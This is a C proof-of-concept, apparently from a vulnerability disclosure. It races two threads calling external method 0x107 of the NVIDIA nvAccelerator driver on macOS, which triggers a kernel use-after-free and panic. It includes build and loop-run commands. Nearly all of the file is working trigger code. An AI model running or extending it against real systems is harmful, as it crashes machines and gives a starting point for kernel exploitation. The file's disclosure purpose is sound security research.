147 lines
No EOL
3.5 KiB
C
147 lines
No EOL
3.5 KiB
C
/*
|
|
nvDevice::SetAppSupportBits is external method 0x107 of the nvAccelerator IOService.
|
|
|
|
It calls task_deallocate without locking. Two threads can race calling this external method to drop
|
|
two task references when only one is held.
|
|
|
|
Note that the repro forks a child which give the nvAccelerator a different task otherwise
|
|
the repro is more likely to leak task references than panic.
|
|
*/
|
|
|
|
// ianbeer
|
|
|
|
#if 0
|
|
MacOS kernel UAF due to lack of locking in nvidia GeForce driver
|
|
|
|
nvDevice::SetAppSupportBits is external method 0x107 of the nvAccelerator IOService.
|
|
|
|
It calls task_deallocate without locking. Two threads can race calling this external method to drop
|
|
two task references when only one is held.
|
|
|
|
Note that the repro forks a child which give the nvAccelerator a different task otherwise
|
|
the repro is more likely to leak task references than panic.
|
|
#endif
|
|
|
|
// build: clang -o nvtask nvtask.c -framework IOKit
|
|
// run: while true; do ./nvtask; done
|
|
|
|
#include <stdint.h>
|
|
#include <stdio.h>
|
|
#include <string.h>
|
|
#include <stdlib.h>
|
|
#include <sys/mman.h>
|
|
#include <unistd.h>
|
|
|
|
#include <pthread.h>
|
|
|
|
#include <mach/mach.h>
|
|
#include <mach/vm_map.h>
|
|
|
|
#include <IOKit/IOKitLib.h>
|
|
|
|
uint64_t set_app_support_bits(mach_port_t conn) {
|
|
kern_return_t err;
|
|
|
|
uint64_t inputScalar[16];
|
|
uint64_t inputScalarCnt = 0;
|
|
|
|
char inputStruct[4096];
|
|
size_t inputStructCnt = 0;
|
|
|
|
uint64_t outputScalar[16];
|
|
uint32_t outputScalarCnt = 0;
|
|
|
|
char outputStruct[4096];
|
|
size_t outputStructCnt = 0;
|
|
|
|
inputStructCnt = 1;
|
|
outputStructCnt = 1;
|
|
|
|
inputStruct[0] = 0xff;
|
|
|
|
err = IOConnectCallMethod(
|
|
conn,
|
|
0x107,
|
|
inputScalar,
|
|
inputScalarCnt,
|
|
inputStruct,
|
|
inputStructCnt,
|
|
outputScalar,
|
|
&outputScalarCnt,
|
|
outputStruct,
|
|
&outputStructCnt);
|
|
|
|
if (err != KERN_SUCCESS){
|
|
printf("IOConnectCall error: %x\n", err);
|
|
} else{
|
|
printf("worked?\n");
|
|
}
|
|
|
|
return 0;
|
|
}
|
|
|
|
|
|
volatile int go = 0;
|
|
volatile int running = 0;
|
|
void* thread_func(void* arg) {
|
|
mach_port_t conn = (mach_port_t)arg;
|
|
printf("thread running\n");
|
|
running = 1;
|
|
while(!go){;}
|
|
set_app_support_bits(conn);
|
|
return 0;
|
|
}
|
|
|
|
int main(int argc, char** argv){
|
|
pid_t child_pid = fork();
|
|
if (child_pid == -1) {
|
|
printf("fork failed\n");
|
|
return 0;
|
|
}
|
|
if (child_pid) {
|
|
io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("nvAccelerator"));
|
|
if (service == MACH_PORT_NULL) {
|
|
printf("unable to find service\n");
|
|
return 0;
|
|
}
|
|
printf("got service: 0x%x\n", service);
|
|
|
|
io_connect_t conn = MACH_PORT_NULL;
|
|
kern_return_t err = IOServiceOpen(service, mach_task_self(), 5, &conn); // nvDevice
|
|
if (err != KERN_SUCCESS) {
|
|
printf("unable to open ioservice\n");
|
|
return 0;
|
|
}
|
|
printf("got service\n");
|
|
pthread_t th;
|
|
pthread_create(&th, NULL, thread_func, (void*)conn);
|
|
|
|
while(!running){;}
|
|
go = 1;
|
|
set_app_support_bits(conn);
|
|
|
|
pthread_join(th, NULL);
|
|
|
|
int loc = 0;
|
|
wait(&loc);
|
|
} else {
|
|
io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("nvAccelerator"));
|
|
if (service == MACH_PORT_NULL) {
|
|
printf("unable to find service\n");
|
|
return 0;
|
|
}
|
|
printf("got service: 0x%x\n", service);
|
|
|
|
io_connect_t conn = MACH_PORT_NULL;
|
|
kern_return_t err = IOServiceOpen(service, mach_task_self(), 5, &conn); // nvDevice
|
|
if (err != KERN_SUCCESS) {
|
|
printf("unable to open ioservice\n");
|
|
return 0;
|
|
}
|
|
printf("got service\n");
|
|
set_app_support_bits(conn);
|
|
|
|
}
|
|
|
|
return 0;
|
|
} |